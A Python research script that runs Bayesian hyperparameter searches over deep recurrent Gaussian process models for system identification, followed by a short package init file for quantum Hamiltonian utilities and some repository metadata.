out_train.copy() p_init_runs = p_init_runs p_max_runs = 10000 p_num_layers = 1 p_hidden_dims = [p_hidden_dims,] p_inference_method = None p_back_cstr = False p_MLP_Dims = None p_Q = p_Q p_win_in = task.win_in p_win_out = task.win_out p_init = 'Y' p_x_init_var = 0.05 result = list() for i_no in range(0, p_iter_num): # iterations take into account model randomness e.g. initialization of inducing points res = rgp_experiment_raw(p_task_name, bo_iter_no*10+i_no, train_U, train_Y, p_init_runs, p_max_runs, p_num_layers, p_hidden_dims, p_inference_method, p_back_cstr, p_MLP_Dims, p_Q, p_win_in, p_win_out, p_init, p_x_init_var) result.append(res[0]) #import pdb; pdb.set_trace() return np.array(((np.min(result),),)) class IE5_experiment_2( object ): """ Tested parameters are: initial number of optimization runs, number of inducing points. Conclusions after the experiment: The output file contains only variables as var_1, var_2 etc. but Xavier said that the order is presearved. The optimal values are: init_runs = 110, Q (ind. num) = 200. (run 3), 240.44817869 Bu the results are still the same from run to run. Total running time was 40hours on GPU machine. Maybe we can reduce the number of intrinsic iterations per evaluation. Now idea is to use manually designad initial values to run more proper experiment. (Experiment 3) """ def __init__( self, initial_counter, iter_nums): self.counter = initial_counter self.iter_nums = iter_nums def __call__( self, *args, **kwargs ): #import pdb; pdb.set_trace() new_args = (self.counter,self.iter_nums,) + tuple( [ int(args[0][0,i]) for i in range(args[0].shape[1]) ] ) ret = self.IE5_experiment_2_code( *new_args, **kwargs) self.counter += 1 return ret @staticmethod def IE5_experiment_2_code( bo_iter_no, p_iter_num, p_init_runs, p_Q): """ Hyper parameter search for IE5 data, varying small number of parameters. One hidden layer. """ # p_iter_num # How many iteration are needed to evaluate one set of hyper parameterss # task names: # Actuator, Ballbeam, Drive, Gas_furnace, Flutter, Dryer, Tank, # IdentificationExample1..5 #import pdb; pdb.set_trace() out_train, in_train, task = prepare_data('IdentificationExample5', normalize=True) p_task_name = 'IE5_2' #p_iteration = train_U = in_train.copy() train_Y = out_train.copy() p_init_runs = p_init_runs p_max_runs = 10000 p_num_layers = 1 p_hidden_dims = [1,] p_inference_method = None p_back_cstr = False p_MLP_Dims = None p_Q = p_Q p_win_in = task.win_in p_win_out = task.win_out p_init = 'Y' p_x_init_var = 0.05 result = list() for i_no in range(0, p_iter_num): # iterations take into account model randomness e.g. initialization of inducing points res = rgp_experiment_raw(p_task_name, bo_iter_no*10+i_no, train_U, train_Y, p_init_runs, p_max_runs, p_num_layers, p_hidden_dims, p_inference_method, p_back_cstr, p_MLP_Dims, p_Q, p_win_in, p_win_out, p_init, p_x_init_var) result.append(res[0]) #import pdb; pdb.set_trace() return np.array(((np.min(result),),)) class IE5_experiment_3( object ): """ Tested parameters are: initial number of number of layers, number of inducing points. Also, I do initial evaluations manually. Best values: 1 layer, 40 inducing points, (run 7) 242.67636311 This value is laregr than in the other experiments. Manybe becuase there were only 2 internal runs in every function evaluation. """ def __init__( self, initial_counter, iter_nums): self.counter = initial_counter self.iter_nums = iter_nums def __call__( self, *args, **kwargs ): #import pdb; pdb.set_trace() new_args = (self.counter,self.iter_nums,) + tuple( [ int(args[0][0,i]) for i in range(args[0].shape[1]) ] ) ret = self.IE5_experiment_3_code( *new_args, **kwargs) self.counter += 1 return ret @staticmethod def IE5_experiment_3_code( bo_iter_no, p_iter_num, p_layer_num, p_Q): """ Hyper parameter search for IE5 data, varying small number of parameters. One hidden layer. """ # p_iter_num # How many iteration are needed to evaluate one set of hyper parameterss # task names: # Actuator, Ballbeam, Drive, Gas_furnace, Flutter, Dryer, Tank, # IdentificationExample1..5 #import pdb; pdb.set_trace() out_train, in_train, task = prepare_data('IdentificationExample5', normalize=True) p_task_name = 'IE5_2' #p_iteration = train_U = in_train.copy() train_Y = out_train.copy() p_init_runs = 130 p_max_runs = 10000 p_num_layers = p_layer_num p_hidden_dims = [1,1,] p_inference_method = None p_back_cstr = False p_MLP_Dims = None p_Q = p_Q p_win_in = task.win_in p_win_out = task.win_out p_init = 'Y' p_x_init_var = 0.05 result = list() for i_no in range(0, p_iter_num): # iterations take into account model randomness e.g. initialization of inducing points res = rgp_experiment_raw(p_task_name, bo_iter_no*10+i_no, train_U, train_Y, p_init_runs, p_max_runs, p_num_layers, p_hidden_dims, p_inference_method, p_back_cstr, p_MLP_Dims, p_Q, p_win_in, p_win_out, p_init, p_x_init_var) result.append(res[0]) #import pdb; pdb.set_trace() return np.array(((np.min(result),),)) class IE5_experiment_4( object ): """ SVI inference Tested parameters are: number of initial runs, number of inducing points. First SVI experiment. """ def __init__( self, initial_counter, iter_nums): self.counter = initial_counter self.iter_nums = iter_nums def __call__( self, *args, **kwargs ): #import pdb; pdb.set_trace() new_args = (self.counter,self.iter_nums,) + tuple( [ int(args[0][0,i]) for i in range(args[0].shape[1]) ] ) ret = self.IE5_experiment_4_code( *new_args, **kwargs) self.counter += 1 return ret @staticmethod def IE5_experiment_4_code( bo_iter_no, p_iter_num, p_init_runs, p_Q): """ Hyper parameter search for IE5 data, varying small number of parameters. One hidden layer. """ # p_iter_num # How many iteration are needed to evaluate one set of hyper parameterss # task names: # Actuator, Ballbeam, Drive, Gas_furnace, Flutter, Dryer, Tank, # IdentificationExample1..5 #import pdb; pdb.set_trace() out_train, in_train, task = prepare_data('IdentificationExample5', normalize=True) p_task_name = 'IE5_4' #p_iteration = train_U = in_train.copy() train_Y = out_train.copy() p_init_runs = p_init_runs p_max_runs = 12000 p_num_layers = 1 p_hidden_dims = [1,1,] p_inference_method = 'svi' p_back_cstr = False p_MLP_Dims = None p_Q = p_Q p_win_in = task.win_in p_win_out = task.win_out p_init = 'Y' p_x_init_var = 0.05 result = list() for i_no in range(0, p_iter_num): # iterations take into account model randomness e.g. initialization of inducing points res = rgp_experiment_raw(p_task_name, bo_iter_no*10+i_no, train_U, train_Y, p_init_runs, p_max_runs, p_num_layers, p_hidden_dims, p_inference_method, p_back_cstr, p_MLP_Dims, p_Q, p_win_in, p_win_out, p_init, p_x_init_var) result.append(res[0]) #import pdb; pdb.set_trace() return np.array(((np.min(result),),)) class IE5_experiment_5( object ): """ Back constrains + SVI inference Tested parameters are: number of initial runs, number of inducing points. """ def __init__( self, initial_counter, iter_nums): self.counter = initial_counter self.iter_nums = iter_nums def __call__( self, *args, **kwargs ): #import pdb; pdb.set_trace() new_args = (self.counter,self.iter_nums,) + tuple( [ int(args[0][0,i]) for i in range(args[0].shape[1]) ] ) ret = self.IE5_experiment_5_code( *new_args, **kwargs) self.counter += 1 return ret @staticmethod def IE5_experiment_5_code( bo_iter_no, p_iter_num, p_init_runs, p_Q): """ Hyper parameter search for IE5 data, varying small number of parameters. One hidden layer. """ # p_iter_num # How many iteration are needed to evaluate one set of hyper parameterss # task names: # Actuator, Ballbeam, Drive, Gas_furnace, Flutter, Dryer, Tank, # IdentificationExample1..5 #import pdb; pdb.set_trace() out_train, in_train, task = prepare_data('IdentificationExample5', normalize=True) p_task_name = 'IE5_5' #p_iteration = train_U = in_train.copy() train_Y = out_train.copy() p_init_runs = p_init_runs p_max_runs = 12000 p_num_layers = 1 p_hidden_dims = [1,1,] p_inference_method = 'svi' p_back_cstr = True p_rnn_type='gru' p_rnn_hidden_dims=[20,] p_Q = p_Q p_win_in = task.win_in p_win_out = task.win_out result = list() for i_no in range(0, p_iter_num): # iterations take into account model randomness e.g. initialization of inducing points res = rgp_experiment_bcstr_raw(p_task_name, bo_iter_no*10+i_no, train_U, train_Y, p_init_runs, p_max_runs, p_num_layers, p_hidden_dims, p_inference_method, p_back_cstr, p_rnn_type, p_rnn_hidden_dims, p_Q, p_win_in, p_win_out) result.append(res[0]) #import pdb; pdb.set_trace() return np.array(((np.min(result),),)) class IE5_experiment_6( object ): """ Same as experiment 5, only the model has changes now it includes the RGP inputs at encoder inputs. Back constrains + SVI inference Tested parameters are: number of initial runs, number of inducing points. """ def __init__( self, initial_counter, iter_nums): self.counter = initial_counter self.iter_nums = iter_nums def __call__( self, *args, **kwargs ): #import pdb; pdb.set_trace() new_args = (self.counter,self.iter_nums,) + tuple( [ int(args[0][0,i]) for i in range(args[0].shape[1]) ] ) ret = self.IE5_experiment_6_code( *new_args, **kwargs) self.counter += 1 return ret @staticmethod def IE5_experiment_6_code( bo_iter_no, p_iter_num, p_init_runs, p_Q): """ Hyper parameter search for IE5 data, varying small number of parameters. One hidden layer. """ # p_iter_num # How many iteration are needed to evaluate one set of hyper parameterss # task names: # Actuator, Ballbeam, Drive, Gas_furnace, Flutter, Dryer, Tank, # IdentificationExample1..5 #import pdb; pdb.set_trace() out_train, in_train, task = prepare_data('IdentificationExample5', normalize=True) p_task_name = 'IE5_6' #p_iteration = train_U = in_train.copy() train_Y = out_train.copy() p_init_runs = p_init_runs p_max_runs = 15000 p_num_layers = 1 p_hidden_dims = [1,1,] p_inference_method = 'svi' p_back_cstr = True p_rnn_type='gru' p_rnn_hidden_dims=[20,] p_Q = p_Q p_win_in = task.win_in p_win_out = task.win_out result = list() for i_no in range(0, p_iter_num): # iterations take into account model randomness e.g. initialization of inducing points res = rgp_experiment_bcstr_raw(p_task_name, bo_iter_no*10+i_no, train_U, train_Y, p_init_runs, p_max_runs, p_num_layers, p_hidden_dims, p_inference_method, p_back_cstr, p_rnn_type, p_rnn_hidden_dims, p_Q, p_win_in, p_win_out) result.append(res[0]) #import pdb; pdb.set_trace() return np.array(((np.min(result),),)) def rgp_experiment_bcstr_raw(p_task_name, p_iteration, train_U, train_Y, p_init_runs, p_max_runs, p_num_layers, p_hidden_dims, p_inference_method, p_back_cstr, p_rnn_type, p_rnn_hidden_dims, p_Q, p_win_in, p_win_out): """ Experiment file for NON MINIBATCH inference. So, DeepAutoreg is run here. Inputs: ------------------------------- p_task_name: string Experiment name, used only in file name p_iteration: int or string Iteration of the experiment, used only in file name p_init_runs: int: Number of initial runs when likelihood variances and covariance magnitudes are fixed p_max_runs: int Maximum runs of general optimization p_num_layers: int [1,2] Number of RGP layers p_hidden_dims: list[ length is the number of hidden layers] Dimensions of hidden layers p_inference_method: string If 'svi' then SVI inference is used. p_back_cstr: bool Use back constrains or not. p_rnn_hidden_dims: int Hidden dimension of neural network. p_Q: int Number of inducing points p_win_in, p_win_out: int Inpput window and hidden layer window. """ win_in = p_win_in # 20 win_out = p_win_out # 20 inference_method = p_inference_method if p_inference_method == 'svi' else None #import pdb; pdb.set_trace() if p_num_layers == 1: # 1 layer: wins = [0, win_out] # 0-th is output layer nDims = [train_Y.shape[1], p_hidden_dims[0]] kernels=[GPy.kern.RBF(win_out,ARD=True,inv_l=True), GPy.kern.RBF(win_in + win_out,ARD=True,inv_l=True)] elif p_num_layers == 2: # 2 layers: wins = [0, win_out, win_out] nDims = [train_Y.shape[1], p_hidden_dims[0], p_hidden_dims[1]] kernels=[GPy.kern.RBF(win_out,ARD=True,inv_l=True), GPy.kern.RBF(win_out+win_out,ARD=True,inv_l=True), GPy.kern.RBF(win_out+win_in,ARD=True,inv_l=True)] else: raise NotImplemented() print("Input window: ", win_in) print("Output window: ", win_out) p_Q = 120 #!!!!! TODO: m = autoreg.DeepAutoreg_rnn(wins, train_Y, U=train_U, U_win=win_in, num_inducing=p_Q, back_cstr=p_back_cstr, nDims=nDims, rnn_type=p_rnn_type, rnn_hidden_dims=p_rnn_hidden_dims, minibatch_inference=False, inference_method=inference_method, # Inference method kernels=kernels) # pattern for model name: #task_name, inf_meth=?, wins=layers, Q = ?, backcstr=?,MLP_dims=?, nDims= model_file_name = '%s_%s--inf_meth=%s--backcstr=%s--wins=%s_%s--Q=%i--nDims=%s' % (p_task_name, str(p_iteration), 'reg' if inference_method is None else inference_method, str(p_back_cstr) if p_back_cstr==False else str(p_back_cstr) + '_' + p_rnn_type + str(p_rnn_hidden_dims[0]), str(win_in), str(wins), p_Q, str(nDims)) print('Model file name: ', model_file_name) print(m) import pdb; pdb.set_trace() #Initialization # Here layer numbers are different than in initialization. 0-th layer is the top one for i in range(m.nLayers): m.layers[i].kern.inv_l[:] = np.mean( 1./((m.layers[i].X.mean.values.max(0)-m.layers[i].X.mean.values.min(0))/np.sqrt(2.)) ) m.layers[i].likelihood.variance[:] = 0.01*train_Y.var() m.layers[i].kern.variance.fix(warning=False) m.layers[i].likelihood.fix(warning=False) print(m) #init_runs = 50 if out_train.shape[0]<1000 else 100 print("Init runs: ", p_init_runs) m.optimize('bfgs',messages=1,max_iters=p_init_runs) for i in range(m.nLayers): m.layers[i].kern.variance.constrain_positive(warning=False) m.layers[i].likelihood.constrain_positive(warning=False) m.optimize('bfgs',messages=1,max_iters=p_max_runs) io.savemat(model_file_name, {'params': m.param_array[:]} ) print(m) return -float(m._log_marginal_likelihood), m def rgp_experiment_raw(p_task_name, p_iteration, train_U, train_Y, p_init_runs, p_max_runs, p_num_layers, p_hidden_dims, p_inference_method, p_back_cstr, p_MLP_Dims, p_Q, p_win_in, p_win_out, p_init, p_x_init_var): """ Experiment file for NON MINIBATCH inference. So, DeepAutoreg is run here. Inputs: ------------------------------- p_task_name: string Experiment name, used only in file name p_iteration: int or string Iteration of the experiment, used only in file name p_init_runs: int: Number of initial runs when likelihood variances and covariance magnitudes are fixed p_max_runs: int Maximum runs of general optimization p_num_layers: int [1,2] Number of RGP layers p_hidden_dims: list[ length is the number of hidden layers] Dimensions of hidden layers p_inference_method: string If 'svi' then SVI inference is used. p_back_cstr: bool Use back constrains or not. p_MLP_Dims: list[length is the number of MLP hidden layers, ignoring input and output layers] Values are the number of neurons at each layer. p_Q: int Number of inducing points p_win_in, p_win_out: int Inpput window and hidden layer window. p_init: string 'Y', 'rand', 'zero' Initialization of RGP hidden layers p_x_init_var: float Initial variance for X, usually 0.05 for data close to normalized data. """ win_in = p_win_in # 20 win_out = p_win_out # 20 inference_method = p_inference_method if p_inference_method == 'svi' else None #import pdb; pdb.set_trace() if p_num_layers == 1: # 1 layer: wins = [0, win_out] # 0-th is output layer nDims = [train_Y.shape[1], p_hidden_dims[0]] kernels=[GPy.kern.RBF(win_out,ARD=True,inv_l=True), GPy.kern.RBF(win_in + win_out,ARD=True,inv_l=True)] elif p_num_layers == 2: # 2 layers: wins = [0, win_out, win_out] nDims = [train_Y.shape[1], p_hidden_dims[0], p_hidden_dims[1]] kernels=[GPy.kern.RBF(win_out,ARD=True,inv_l=True), GPy.kern.RBF(win_out+win_out,ARD=True,inv_l=True), GPy.kern.RBF(win_out+win_in,ARD=True,inv_l=True)] else: raise NotImplemented() print("Input window: ", win_in) print("Output window: ", win_out) m = autoreg.DeepAutoreg_new(wins, train_Y, U=train_U, U_win=win_in, num_inducing=p_Q, back_cstr=p_back_cstr, MLP_dims=p_MLP_Dims, nDims=nDims, init=p_init, # how to initialize hidden states means X_variance=p_x_init_var, #0.05, # how to initialize hidden states variances inference_method=inference_method, # Inference method kernels=kernels) # pattern for model name: #task_name, inf_meth=?, wins=layers, Q = ?, backcstr=?,MLP_dims=?, nDims= model_file_name = '%s_%s--inf_meth=%s--backcstr=%s--wins=%s_%s--Q=%i--nDims=%s--init=%s--x_init=%s' % (p_task_name, str(p_iteration), 'reg' if inference_method is None else inference_method, str(p_back_cstr) if p_back_cstr==False else str(p_back_cstr) + '_' + str(p_MLP_Dims), str(win_in), str(wins), p_Q, str(nDims), p_init, str(p_x_init_var)) print('Model file name: ', model_file_name) print(m) #import pdb; pdb.set_trace() #Initialization # Here layer numbers are different than in initialization. 0-th layer is the top one for i in range(m.nLayers): m.layers[i].kern.inv_l[:] = np.mean( 1./((m.layers[i].X.mean.values.max(0)-m.layers[i].X.mean.values.min(0))/np.sqrt(2.)) ) m.layers[i].likelihood.variance[:] = 0.01*train_Y.var() m.layers[i].kern.variance.fix(warning=False) m.layers[i].likelihood.fix(warning=False) print(m) #init_runs = 50 if out_train.shape[0]<1000 else 100 print("Init runs: ", p_init_runs) m.optimize('bfgs',messages=1,max_iters=p_init_runs) for i in range(m.nLayers): m.layers[i].kern.variance.constrain_positive(warning=False) m.layers[i].likelihood.constrain_positive(warning=False) m.optimize('bfgs',messages=1,max_iters=p_max_runs) io.savemat(model_file_name, {'params': m.param_array[:]} ) print(m) return -float(m._log_marginal_likelihood), m def bo_run_1(): """ Run the bayesian optimization experiemnt 1. Tested parameters are: initial number of optimization runs, number of hidden dims, number of inducing points. After the first experiment the conclusion is that 1 hidden dim is the best, but also the optimization is not very explorative. Probably there was an error in the experi,ent setup because I did not change the number of hidden layers only the number of hidden dimensions in 1 layer. Best values: ini_runs = 160.0, hidden dim=1., Q=50. (237.44060068) Iteration 21 """ import GPyOpt import pickle exper = IE5_experiment_1(0,4) domain =[{'name': 'init_runs', 'type': 'discrete', 'domain': np.arange(10,201,10) }, {'name': 'hidden_dims', 'type': 'discrete', 'domain': (1,2,3,4)}, {'name': 'Q', 'type': 'discrete', 'domain': np.arange(10,201,10) } ] Bopt = GPyOpt.methods.BayesianOptimization(f=exper, # function to optimize domain=domain, # box-constrains of the problem model_type = 'GP_MCMC', initial_design_numdata = 2,# number data initial design acquisition_type='EI_MCMC', # Expected Improvement exact_feval = False) #import pdb; pdb.set_trace() # --- Stop conditions max_time = None max_iter = 20 tolerance = 1e-4 # distance between two consecutive observations # Run the optimization report_file = 'report_IE5_experiment_1(0,1)' evaluations_file = 'eval_IE5_experiment_1(0,1)' models_file = 'model_IE5_experiment_1(0,1)' Bopt.run_optimization(max_iter = max_iter, max_time = max_time, eps = tolerance, verbosity=True, report_file = report_file, evaluations_file= evaluations_file, models_file=models_file) #acquisition_type ='LCB', # LCB acquisition #acquisition_weight = 0.1) ff = open('IE5_experiment_1(0,4)','w') pickle.dump(Bopt,ff) ff.close() def bo_run_2(): """ Run the bayesian optimization experiemnt 2. Tested parameters are: initial number of optimization runs, number of inducing points. Conclusions after the experiment: The output file contains only variables as var_1, var_2 etc. but Xavier said that the order is presearved. The optimal values are: init_runs = 110, Q (ind. num) = 200. (run 3), 240.44817869 Bu the results are still the same from run to run. Total running time was 40hours on GPU machine. Maybe we can reduce the number of intrinsic iterations per evaluation. Now idea is to use manually designad initial values to run more proper experiment. (Experiment 3) """ import GPyOpt import pickle exper = IE5_experiment_2(0,3) domain =[{'name': 'init_runs', 'type': 'discrete', 'domain': np.arange(50,201,10) }, #{'name': 'hidden_dims', 'type': 'discrete', 'domain': (1,2,3,4)}, {'name': 'Q', 'type': 'discrete', 'domain': np.arange(40,201,10) } ] Bopt = GPyOpt.methods.BayesianOptimization(f=exper, # function to optimize domain=domain, # box-constrains of the problem model_type = 'GP_MCMC', initial_design_numdata = 3,# number data initial design acquisition_type='EI_MCMC', # Expected Improvement exact_feval = False) #import pdb; pdb.set_trace() # --- Stop conditions max_time = None max_iter = 7 tolerance = 1e-4 # distance between two consecutive observations # Run the optimization report_file = 'report_IE5_experiment_2(0,3)' evaluations_file = 'eval_IE5_experiment_2(0,3)' models_file = 'model_IE5_experiment_2(0,3)' Bopt.run_optimization(max_iter = max_iter, max_time = max_time, eps = tolerance, verbosity=True, report_file = report_file, evaluations_file= evaluations_file, models_file=models_file, acquisition_par=3) # acquisition_par is # used to make it more explorative. It seems it did not help. #acquisition_type ='LCB', # LCB acquisition #acquisition_weight = 0.1) ff = open('IE5_experiment_2(0,3)','w') pickle.dump(Bopt,ff) ff.close() def bo_run_3(): """ Run the bayesian optimization experiemnt 2. Tested parameters are: initial number of number of layers, number of inducing points. Also, I do initial evaluations manually. Best values: 1 layer, 40 inducing points, (run 7) 242.67636311 This value is laregr than in the other experiments. Manybe becuase there were only 2 internal runs in every function evaluation. """ import GPyOpt import pickle exper = IE5_experiment_3(0,2) domain =[ #{ 'name': 'init_runs', 'type': 'discrete', 'domain': np.arange(50,201,10) }, #{'name': 'hidden_dims', 'type': 'discrete', 'domain': (1,2,3,4)}, { 'name': 'layer_num', 'type': 'discrete', 'domain': (1,2) }, {'name': 'Q', 'type': 'discrete', 'domain': np.arange(40,201,10) } ] #out = exper( np.array( (( 2.0,100.0),) ) ) # input_shape: (array([[ 2., 120.]]),) ### outputshape: array([[ 413.67619157]]) input1 = np.array( (( 1.0,50.0),) ); out1 = exper( input1 ) input2 = np.array( (( 2.0,50.0),) ); out2 = exper( input2 ) input3 = np.array( (( 1.0,100.0),) ); out3 = exper( input3 ) input4 = np.array( (( 2.0,100.0),) ); out4 = exper( input4 ) input5 = np.array( (( 1.0,200.0),) ); out5 = exper( input5 ) input6 = np.array( (( 2.0,200.0),) ); out6 = exper( input6 ) # init_input = np.vstack( (input1,input2,) ) # init_out = np.vstack( (out1,out2,) ) init_input = np.vstack( (input1,input2,input3,input4,input5,input6) ) init_out = np.vstack( (out1,out2,out3,out4,out5,out6) ) #import pdb; pdb.set_trace(); #return #exper() #import pdb; pdb.set_trace() Bopt = GPyOpt.methods.BayesianOptimization(f=exper, # function to optimize domain=domain, # box-constrains of the problem model_type = 'GP_MCMC', X=init_input, Y=init_out, #initial_design_numdata = 3,# number data initial design acquisition_type='EI_MCMC', # Expected Improvement exact_feval = False) #import pdb; pdb.set_trace(); #return # --- Stop conditions max_time = None max_iter = 10 tolerance = 1e-4 # distance between two consecutive observations # Run the optimization report_file = 'report_IE5_experiment_3(0,2)' evaluations_file = 'eval_IE5_experiment_3(0,2)' models_file = 'model_IE5_experiment_3(0,2)' Bopt.run_optimization(max_iter = max_iter, max_time = max_time, eps = tolerance, verbosity=True, report_file = report_file, evaluations_file= evaluations_file, models_file=models_file, acquisition_par=3) # acquisition_par is # used to make it more explorative. It seems it did not help. #acquisition_type ='LCB', # LCB acquisition #acquisition_weight = 0.1) ff = open('IE5_experiment_3(0,2)','w') pickle.dump(Bopt,ff) ff.close() def bo_run_4(): """ Run the bayesian optimization experiemnt 2. SVI inference Tested parameters are: number of initial runs, number of inducing points. First SVI experiment. """ import GPyOpt import pickle exper = IE5_experiment_4(0,3) domain =[{'name': 'init_runs', 'type': 'discrete', 'domain': np.arange(50,501,50) }, #{'name': 'hidden_dims', 'type': 'discrete', 'domain': (1,2,3,4)}, {'name': 'Q', 'type': 'discrete', 'domain': np.arange(40,201,10) } ] Bopt = GPyOpt.methods.BayesianOptimization(f=exper, # function to optimize domain=domain, # box-constrains of the problem model_type = 'GP_MCMC', initial_design_numdata = 5,# number data initial design acquisition_type='EI_MCMC', # Expected Improvement exact_feval = False) #import pdb; pdb.set_trace() # --- Stop conditions max_time = None max_iter = 2 tolerance = 1e-4 # distance between two consecutive observations # Run the optimization report_file = 'report_IE5_experiment_4(0,3)' evaluations_file = 'eval_IE5_experiment_4(0,3)' models_file = 'model_IE5_experiment_4(0,3)' Bopt.run_optimization(max_iter = max_iter, max_time = max_time, eps = tolerance, verbosity=True, report_file = report_file, evaluations_file= evaluations_file, models_file=models_file, acquisition_par=3) # acquisition_par is # used to make it more explorative. It seems it did not help. #acquisition_type ='LCB', # LCB acquisition #acquisition_weight = 0.1) ff = open('IE5_experiment_4(0,3)','w') pickle.dump(Bopt,ff) ff.close() def bo_run_5(): """ Run the bayesian optimization experiemnt 5. Back constrains + SVI inference Tested parameters are: number of initial runs, number of inducing points. The optimal value: 340.816199019 350.0(init_runs) 120.0(ind points), iteration 9 (8 in file names) """ import GPyOpt import pickle exper = IE5_experiment_5(0,3) domain =[{'name': 'init_runs', 'type': 'discrete', 'domain': np.arange(50,501,50) }, #{'name': 'hidden_dims', 'type': 'discrete', 'domain': (1,2,3,4)}, {'name': 'Q', 'type': 'discrete', 'domain': np.arange(40,201,10) } ] Bopt = GPyOpt.methods.BayesianOptimization(f=exper, # function to optimize domain=domain, # box-constrains of the problem model_type = 'GP_MCMC', initial_design_numdata = 5,# number data initial design acquisition_type='EI_MCMC', # Expected Improvement exact_feval = False) #import pdb; pdb.set_trace() # --- Stop conditions max_time = None max_iter = 5 tolerance = 1e-4 # distance between two consecutive observations # Run the optimization report_file = 'report_IE5_experiment_5(0,3)' evaluations_file = 'eval_IE5_experiment_5(0,3)' models_file = 'model_IE5_experiment_5(0,3)' Bopt.run_optimization(max_iter = max_iter, max_time = max_time, eps = tolerance, verbosity=True, report_file = report_file, evaluations_file= evaluations_file, models_file=models_file, acquisition_par=3) # acquisition_par is # used to make it more explorative. It seems it did not help. #acquisition_type ='LCB', # LCB acquisition #acquisition_weight = 0.1) ff = open('IE5_experiment_5(0,3)','w') pickle.dump(Bopt,ff) ff.close() def bo_run_6(): """ Run the bayesian optimization experiemnt 6. Same as experiment 5, only the model has changes now it includes the RGP inputs at encoder inputs. Back constrains + SVI inference Tested parameters are: number of initial runs, number of inducing points. The optimal values: 361.667338238 300.0(init_runs) 80.0(ind points), inter. 4 (3 in file name) """ import GPyOpt import pickle exper = IE5_experiment_6(0,2) domain =[{'name': 'init_runs', 'type': 'discrete', 'domain': np.arange(50,501,50) }, #{'name': 'hidden_dims', 'type': 'discrete', 'domain': (1,2,3,4)}, {'name': 'Q', 'type': 'discrete', 'domain': np.arange(40,201,10) } ] Bopt = GPyOpt.methods.BayesianOptimization(f=exper, # function to optimize domain=domain, # box-constrains of the problem model_type = 'GP_MCMC', initial_design_numdata = 5,# number data initial design acquisition_type='EI_MCMC', # Expected Improvement exact_feval = False) #import pdb; pdb.set_trace() # --- Stop conditions max_time = None max_iter = 2 tolerance = 1e-4 # distance between two consecutive observations # Run the optimization report_file = 'report_IE5_experiment_6(0,2)' evaluations_file = 'eval_IE5_experiment_6(0,2)' models_file = 'model_IE5_experiment_6(0,2)' Bopt.run_optimization(max_iter = max_iter, max_time = max_time, eps = tolerance, verbosity=True, report_file = report_file, evaluations_file= evaluations_file, models_file=models_file, acquisition_par=3) # acquisition_par is # used to make it more explorative. It seems it did not help. #acquisition_type ='LCB', # LCB acquisition #acquisition_weight = 0.1) ff = open('IE5_experiment_6(0,2)','w') pickle.dump(Bopt,ff) ff.close() def bo_run_7(): """ Run the bayesian optimization experiemnt 7. Same as experiment 6, but with ARD kernel, different tolerance and different max_iter. """ import GPyOpt import pickle exper = IE5_experiment_6(0,2) domain =[{'name': 'init_runs', 'type': 'discrete', 'domain': np.arange(200,501,30) }, #{'name': 'hidden_dims', 'type': 'discrete', 'domain': (1,2,3,4)}, {'name': 'Q', 'type': 'discrete', 'domain': np.arange(60,201,10) } ] kernel = GPy.kern.RBF(len(domain),ARD=True) Bopt = GPyOpt.methods.BayesianOptimization(f=exper, # function to optimize domain=domain, # box-constrains of the problem model_type = 'GP_MCMC', kernel=kernel, initial_design_numdata = 3,# number data initial design acquisition_type='EI_MCMC', # Expected Improvement exact_feval = False) #import pdb; pdb.set_trace() # --- Stop conditions max_time = None max_iter = 7 tolerance = 1e-2 # distance between two consecutive observations # Run the optimization report_file = 'report_IE5_experiment_7(0,2)' evaluations_file = 'eval_IE5_experiment_7(0,2)' models_file = 'model_IE5_experiment_7(0,2)' Bopt.run_optimization(max_iter = max_iter, max_time = max_time, eps = tolerance, verbosity=True, report_file = report_file, evaluations_file= evaluations_file, models_file=models_file, acquisition_par=3) # acquisition_par is # used to make it more explorative. It seems it did not help. #acquisition_type ='LCB', # LCB acquisition #acquisition_weight = 0.1) ff = open('IE5_experiment_7(0,2)','w') pickle.dump(Bopt,ff) ff.close() if __name__ == '__main__': bo_run_5()

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da38bd9c024e637026dd56d31e433ae744b36ed1

930

py

Python

utils/__init__.py

YotamLif/HLT

ca416ba851caf3b44a6facffa539dcefff1de8ea

[ "Apache-2.0" ]

2

2022-02-14T15:13:22.000Z

2022-02-15T20:54:16.000Z

utils/__init__.py

YotamLif/HLT

ca416ba851caf3b44a6facffa539dcefff1de8ea

[ "Apache-2.0" ]

null

utils/__init__.py

YotamLif/HLT

ca416ba851caf3b44a6facffa539dcefff1de8ea

[ "Apache-2.0" ]

null

""" Package that contains useful utils used for HLT """ from .hamil_utils import Hamiltonian from .hamil_utils import RandomKLocalHamiltonian from .hamil_utils import RandomPauliHamiltonian from .hamil_utils import TransverseIsingHamiltonian from .hamil_utils import get_circ_from_gibbs_hamiltonian from .hamil_utils import get_density_matrix_from_gibbs_hamiltonian from .hamil_utils import get_ghz_circ from .hamil_utils import get_random_k_local_gibbs_circ from .np_utils import get_fidelity from .np_utils import get_gibbs_hamiltonian from .np_utils import is_hermitian from .np_utils import normalized_matrix from .pauli_decomposition import PauliDecomposition from .pauli_decomposition import analyze_density_matrix from .qiskit_utils import get_air_simulator from .qiskit_utils import get_density_matrix_circuit from .qiskit_utils import get_density_matrix_from_simulation from .qiskit_utils import get_up_to_range_k_paulis

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py

Python

Numerial_Analysis/nas/3-1.py

RDCPP/Numerial_Analysis_Backup

a28501ec3505584cb3dce41404f28d357ba8039d

[ "MIT" ]

null

Numerial_Analysis/nas/3-1.py

RDCPP/Numerial_Analysis_Backup

a28501ec3505584cb3dce41404f28d357ba8039d

[ "MIT" ]

null

Numerial_Analysis/nas/3-1.py

RDCPP/Numerial_Analysis_Backup

a28501ec3505584cb3dce41404f28d357ba8039d

[ "MIT" ]

null

